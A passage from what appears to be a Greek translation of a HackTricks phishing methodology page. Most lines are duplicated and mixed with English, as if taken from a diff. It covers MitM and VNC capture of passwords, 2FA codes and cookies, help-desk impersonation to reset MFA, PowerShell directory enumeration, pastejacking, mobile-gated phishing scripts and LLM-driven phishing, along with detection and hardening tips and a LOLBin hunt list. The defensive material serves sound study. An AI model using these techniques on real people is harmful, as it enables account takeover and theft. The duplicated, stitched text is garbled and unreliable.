3. Αν ο λογαριασμός έχει ρυθμιστεί με **2FA**, η MitM σελίδα θα το ζητήσει και μόλις ο **χρήστης το εισάγει** το εργαλείο θα το στείλει στην πραγματική σελίδα.
4. Μόλις ο χρήστης αυθεντικοποιηθεί, εσείς (ως επιτιθέμενος) θα έχετε **συλλέξει τα credentials, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση ενώ το εργαλείο εκτελεί MitM.
### Via VNC
Τι γίνεται αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** που μοιάζει με την πρωτότυπη, το στείλετε σε μια **συνδρομή VNC με έναν browser συνδεδεμένο στην πραγματική σελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε το password, το MFA που χρησιμοποιήθηκε, τα cookies...\
Τι γίνεται αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** με πανομοιότυπη εμφάνιση, τον στείλετε σε μια **VNC συνεδρία με έναν browser συνδεδεμένο στην πραγματική σελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιήθηκε, τα cookies...\
Μπορείτε να το κάνετε αυτό με [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
Προφανώς ένας από τους καλύτερους τρόπους να ξέρετε αν έχετε αποκαλυφθεί είναι να **ελέγξετε το domain σας σε blacklists**. Αν εμφανιστεί καταγεγραμμένο, με κάποιο τρόπο το domain σας ανιχνεύτηκε ως ύποπτο.\
Προφανώς ένας από τους καλύτερους τρόπους να μάθετε αν σας έχουν εντοπίσει είναι να **αναζητήσετε το domain σας μέσα σε blacklists**. Αν εμφανιστεί, με κάποιον τρόπο το domain σας ανιχνεύτηκε ως ύποπτο.\
Ένας εύκολος τρόπος να ελέγξετε αν το domain σας εμφανίζεται σε κάποια blacklist είναι να χρησιμοποιήσετε [https://malwareworld.com/](https://malwareworld.com)
Ωστόσο, υπάρχουν και άλλοι τρόποι να καταλάβετε αν το θύμα **ψάχνει ενεργά για ύποπτη phishing δραστηριότητα** όπως εξηγείται σε:
Ωστόσο, υπάρχουν και άλλοι τρόποι να μάθετε αν το θύμα **ενεργά ψάχνει για ύποπτη phishing δραστηριότητα στο wild** όπως εξηγείται στο:
{{#ref}}
detecting-phising.md
{{#endref}}
Μπορείτε **να αγοράσετε ένα domain με πολύ παρόμοιο όνομα** με το domain του θύματος **και/ή να δημιουργήσετε ένα certificate** για ένα **subdomain** ενός domain που ελέγχετε **που περιέχει** την **λέξη-κλειδί** του domain του θύματος. Αν το **θύμα** πραγματοποιήσει οποιαδήποτε είδους **DNS ή HTTP αλληλεπίδραση** με αυτά, θα ξέρετε ότι **ψάχνει ενεργά** για ύποπτα domains και θα χρειαστεί να είστε πολύ stealth.
Μπορείτε **να αγοράσετε ένα domain με πολύ παρόμοιο όνομα** με το domain του θύματος **και/ή να δημιουργήσετε ένα certificate** για ένα **subdomain** ενός domain που ελέγχεται από εσάς **που να περιέχει** το **keyword** του domain του θύματος. Αν το **θύμα** πραγματοποιήσει οποιονδήποτε τύπο **DNS ή HTTP interaction** με αυτά, θα ξέρετε ότι **αναζητά ενεργά** ύποπτα domains και θα χρειαστεί να είστε πολύ stealth.
### Evaluate the phishing
Χρησιμοποιήστε [**Phishious** ](https://github.com/Rices/Phishious) για να αξιολογήσετε αν το email σας θα καταλήξει στο φάκελο spam ή αν θα μπλοκαριστεί ή θα είναι επιτυχημένο.
Χρησιμοποιήστε το [**Phishious**](https://github.com/Rices/Phishious) για να αξιολογήσετε αν το email σας πρόκειται να καταλήξει στο φάκελο spam ή αν πρόκειται να μπλοκαριστεί ή να είναι επιτυχές.
## High-Touch Identity Compromise (Help-Desk MFA Reset)
Τα σύγχρονα intrusion sets όλο και περισσότερο παρακάμπτουν τα email lures εντελώς και **στοχεύουν άμεσα τη ροή service-desk / identity-recovery** για να νικήσουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο operator αποκτήσει έγκυρα credentials περιστρέφεται με built-in admin tooling δεν απαιτείται malware.
Σύγχρονα intrusion sets ολοένα και περισσότερο παρακάμπτουν εντελώς τα email lures και **στοχεύουν απευθείας τη ροή εργασίας του service-desk / identity-recovery** για να νικήσουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο χειριστής αποκτήσει έγκυρα credentials, μετακινείται με ενσωματωμένα admin εργαλεία δεν απαιτείται malware.
### Attack flow
1. Recon the victim
1. Recon του θύματος
* Συλλογή προσωπικών & εταιρικών στοιχείων από LinkedIn, data breaches, public GitHub, κ.λπ.
* Εντοπισμός υψηλής αξίας ταυτοτήτων (διευθυντικά στελέχη, IT, finance) και καταγραφή της **ακριβούς διαδικασίας help-desk** για reset κωδικού / MFA.
* Εντοπισμός υψηλής αξίας ταυτοτήτων (εκτελεστικά στελέχη, IT, finance) και καταγραφή της **ακριβούς διαδικασίας help-desk** για reset κωδικού / MFA.
2. Real-time social engineering
* Τηλέφωνο, Teams ή chat στο help-desk ενώ μιμείστε τον στόχο (συχνά με **spoofed caller-ID** ή **cloned voice**).
* Παροχή των προηγουμένως συλλεχθέντων PII για να περάσετε την επαλήθευση γνώσης.
* Πείστε τον agent να **reset the MFA secret** ή να πραγματοποιήσει **SIM-swap** σε έναν εγγεγραμμένο αριθμό κινητού.
3. Immediate post-access actions (≤60 min in real cases)
* Establish a foothold through any web SSO portal.
* Enumerate AD / AzureAD with built-ins (no binaries dropped):
* Τηλεφωνικά, Teams ή chat στο help-desk ενώ προσποιείστε τον στόχο (συχνά με **spoofed caller-ID** ή **cloned voice**).
* Παροχή των προηχοποιημένων PII για να περάσετε την επαλήθευση βάσει γνώσης.
* Πείστε τον agent να **reset-άρει το MFA secret** ή να εκτελέσει **SIM-swap** σε έναν καταχωρημένο αριθμό κινητού.
3. Άμεσες ενέργειες μετά την πρόσβαση (≤60 min σε πραγματικά περιστατικά)
* Εγκαθιδρύστε foothold μέσω οποιουδήποτε web SSO portal.
* Καταγράψτε το AD / AzureAD με ενσωματωμένα εργαλεία (χωρίς drop binaries):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Lateral movement with **WMI**, **PsExec**, or legitimate **RMM** agents already whitelisted in the environment.
* Lateral movement με **WMI**, **PsExec**, ή νόμιμους **RMM** agents που είναι ήδη whitelisted στο περιβάλλον.
### Detection & Mitigation
* Treat help-desk identity recovery as a **privileged operation** require step-up auth & manager approval.
* Deploy **Identity Threat Detection & Response (ITDR)** / **UEBA** rules that alert on:
* MFA method changed + authentication from new device / geo.
* Immediate elevation of the same principal (user-→-admin).
* Record help-desk calls and enforce a **call-back to an already-registered number** before any reset.
* Implement **Just-In-Time (JIT) / Privileged Access** so newly reset accounts do **not** automatically inherit high-privilege tokens.
* Θεωρήστε την identity recovery του help-desk ως **privileged operation** απαιτήστε step-up auth & έγκριση από manager.
* Αναπτύξτε **Identity Threat Detection & Response (ITDR)** / **UEBA** κανόνες που ειδοποιούν για:
* Αλλαγή μεθόδου MFA + authentication από νέα συσκευή / γεωγραφία.
* Άμεση ανύψωση του ίδιου principal (user-→-admin).
* Καταγράψτε τις κλήσεις του help-desk και επιβάλετε **call-back σε έναν ήδη καταχωρημένο αριθμό** πριν από οποιοδήποτε reset.
* Εφαρμόστε **Just-In-Time (JIT) / Privileged Access** ώστε οι νεο-ρυθμισμένοι λογαριασμοί **να μην** κληρονομούν αυτόματα high-privilege tokens.
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Commodity crews offset the cost of high-touch ops with mass attacks that turn **search engines & ad networks into the delivery channel**.
Οι commodity crews αντισταθμίζουν το κόστος των high-touch ops με μαζικές επιθέσεις που μετατρέπουν τις **μηχανές αναζήτησης & τα ad networks σε κανάλι παράδοσης**.
1. **SEO poisoning / malvertising** προωθεί ένα ψεύτικο αποτέλεσμα όπως το `chromium-update[.]site` στην κορυφή των search ads.
2. Το θύμα κατεβάζει έναν μικρό **first-stage loader** (συχνά JS/HTA/ISO). Παραδείγματα που έχει δει το Unit 42:
1. **SEO poisoning / malvertising** προωθεί ένα ψεύτικο αποτέλεσμα όπως `chromium-update[.]site` στις κορυφαίες διαφημίσεις αναζήτησης.
2. Το θύμα κατεβάζει έναν μικρό **first-stage loader** (συχνά JS/HTA/ISO). Παραδείγματα που έχει δει η Unit 42:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Ο loader εξάγει browser cookies + credential DBs, και στη συνέχεια τραβάει έναν **silent loader** που αποφασίζει *σε πραγματικό χρόνο* αν θα αναπτύξει:
3. Ο loader εξάγει browser cookies + credential DBs, μετά κατεβάζει έναν **σιωπηλό loader** που αποφασίζει *σε πραγματικό χρόνο* αν θα αναπτύξει:
* RAT (π.χ. AsyncRAT, RustDesk)
* ransomware / wiper
* persistence component (registry Run key + scheduled task)
### Hardening tips
* Block newly-registered domains & enforce **Advanced DNS / URL Filtering** on *search-ads* as well as e-mail.
* Περιορίστε την εγκατάσταση λογισμικού σε signed MSI / Store packages, απαγορεύστε την εκτέλεση `HTA`, `ISO`, `VBS` με πολιτική.
* Monitor for child processes of browsers opening installers:
* Block νέες-καταχωρημένες domains & επιβάλετε **Advanced DNS / URL Filtering** τόσο σε *search-ads* όσο και σε email.
* Περιορίστε την εγκατάσταση λογισμικού σε signed MSI / Store πακέτα, απαγορεύστε την εκτέλεση `HTA`, `ISO`, `VBS` με policy.
* Παρακολουθήστε για child processes των browsers που ανοίγουν installers:
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* Hunt for LOLBins frequently abused by first-stage loaders (e.g. `regsvr32`, `curl`, `mshta`).
* Ψάξτε για LOLBins που συχνά καταχρώνται από first-stage loaders (π.χ. `regsvr32`, `curl`, `mshta`).
---
## AI-Enhanced Phishing Operations
Οι επιτιθέμενοι πλέον αλυσσοδένουν **LLM & voice-clone APIs** για πλήρως εξατομικευμένα lures και αλληλεπίδραση σε πραγματικό χρόνο.
Οι επιτιθέμενοι πλέον συνδέουν **LLM & voice-clone APIs** για πλήρως προσωποποιημένα lures και αλληλεπίδραση σε πραγματικό χρόνο.
| Layer | Example use by threat actor |
|-------|-----------------------------|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
|Automation|Generate & send >100 k emails / SMS με τυποποιημένη διατύπωση & tracking links.|
|Generative AI|Παράγουν *one-off* emails που αναφέρουν δημόσιες M&A, inside jokes από social media; deep-fake CEO voice σε callback scam.|
|Agentic AI|Αυτονομώς καταχωρούν domains, συλλέγουν open-source intel, συντάσσουν τα επόμενα mails όταν ένα θύμα κλικάρει αλλά δεν υποβάλει credentials.|
**Defence:**
• Προσθέστε **dynamic banners** που επισημαίνουν μηνύματα που στέλνονται από μη αξιόπιστη αυτοματοποίηση (via ARC/DKIM anomalies).
• Προσθέστε **dynamic banners** που επισημαίνουν μηνύματα απο μη-εμπιστευμένη αυτοματοποίηση (μέσω ARC/DKIM ανωμαλιών).
• Ανάπτυξη **voice-biometric challenge phrases** για αιτήματα υψηλού ρίσκου μέσω τηλεφώνου.
• Συνεχής προσομοίωση AI-generated lures σε προγράμματα ευαισθητοποίησης τα στατικά templates είναι obsolete.
• Συνεχής προσομοίωση AI-generated lures σε εκπαιδευτικά προγράμματα τα στατικά templates είναι ξεπερασμένα.
See also agentic browsing abuse for credential phishing:
@ -527,19 +527,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant Forced Reset
Besides classic push-bombing, operators simply **force a new MFA registration** during the help-desk call, nullifying the users existing token. Any subsequent login prompt appears legitimate to the victim.
Εκτός από το κλασικό push-bombing, οι operators απλά **επιβάλλουν μια νέα εγγραφή MFA** κατά τη διάρκεια της κλήσης στο help-desk, ακυρώνοντας το υπάρχον token του χρήστη. Οποιοδήποτε επόμενο prompt login φαίνεται νόμιμο στο θύμα.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
Παρακολουθήστε γεγονότα AzureAD/AWS/Okta όπου **`deleteMFA` + `addMFA`** συμβαίνουν **εντός λίγων λεπτών από την ίδια IP**.
Παρακολουθήστε για γεγονότα AzureAD/AWS/Okta όπου **`deleteMFA` + `addMFA`** συμβαίνουν **εντός λίγων λεπτών από την ίδια IP**.
## Clipboard Hijacking / Pastejacking
Οι επιτιθέμενοι μπορούν αθόρυβα να αντιγράψουν κακόβουλες εντολές στο clipboard του θύματος από μια παραβιασμένη ή typosquatted ιστοσελίδα και στη συνέχεια να ξεγελάσουν τον χρήστη ώστε να τις επικολλήσει μέσα σε **Win + R**, **Win + X** ή σε ένα terminal window, εκτελώντας αυθαίρετο κώδικα χωρίς καμία λήψη ή συνημμένο。
Οι επιτιθέμενοι μπορούν σιωπηλά να αντιγράψουν κακόβουλες εντολές στο πρόχειρο του θύματος από μια compromised ή typosquatted ιστοσελίδα και στη συνέχεια να ξεγελάσουν τον χρήστη να τις επικολλήσει μέσα στο **Win + R**, **Win + X** ή σε ένα παράθυρο τερματικού, εκτελώντας αυθαίρετο κώδικα χωρίς κατέβασμα αρχείων ή attachment.
{{#ref}}
@ -553,6 +553,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
{{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Οι operators όλο και περισσότερο περιορίζουν τα phishing flows πίσω από έναν απλό έλεγχο συσκευής ώστε οι desktop crawlers να μην φτάνουν ποτέ στις τελικές σελίδες. Ένα συνηθισμένο pattern είναι ένα μικρό script που δοκιμάζει αν το DOM υποστηρίζει touch και στέλνει το αποτέλεσμα σε ένα server endpoint· οι nonmobile clients λαμβάνουν HTTP 500 (ή μια κενή σελίδα), ενώ οι mobile users σερβίρονται με το πλήρες flow.
Ελάχιστο απόσπασμα κώδικα πελάτη (τυπική λογική):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` λογική (απλοποιημένη):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Server behaviour often observed:
- Θέτει ένα session cookie κατά το πρώτο φόρτωμα.
- Αποδέχεται `POST /detect {"is_mobile":true|false}`.
- Επιστρέφει 500 (ή placeholder) σε επόμενα GET όταν `is_mobile=false`; σερβίρει phishing μόνο αν `true`.
Hunting and detection heuristics:
- urlscan query: `filename:"detect_device.js" AND page.status:500`
- Web τηλεμετρία: ακολουθία `GET /static/detect_device.js``POST /detect` → HTTP 500 για μηmobile· νόμιμες mobile διαδρομές θυμάτων επιστρέφουν 200 με επακόλουθο HTML/JS.
- Μπλοκάρετε ή ελέγξτε σχολαστικά σελίδες που βασίζουν το περιεχόμενο αποκλειστικά στο `ontouchstart` ή παρόμοιους ελέγχους συσκευής.
Defence tips:
- Εκτελέστε crawlers με mobilelike fingerprints και ενεργοποιημένο JS για να αποκαλύψετε gated content.
- Ειδοποιήστε για ύποπτες αποκρίσεις 500 μετά από `POST /detect` σε πρόσφατα καταχωρημένα domains.
## Αναφορές
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}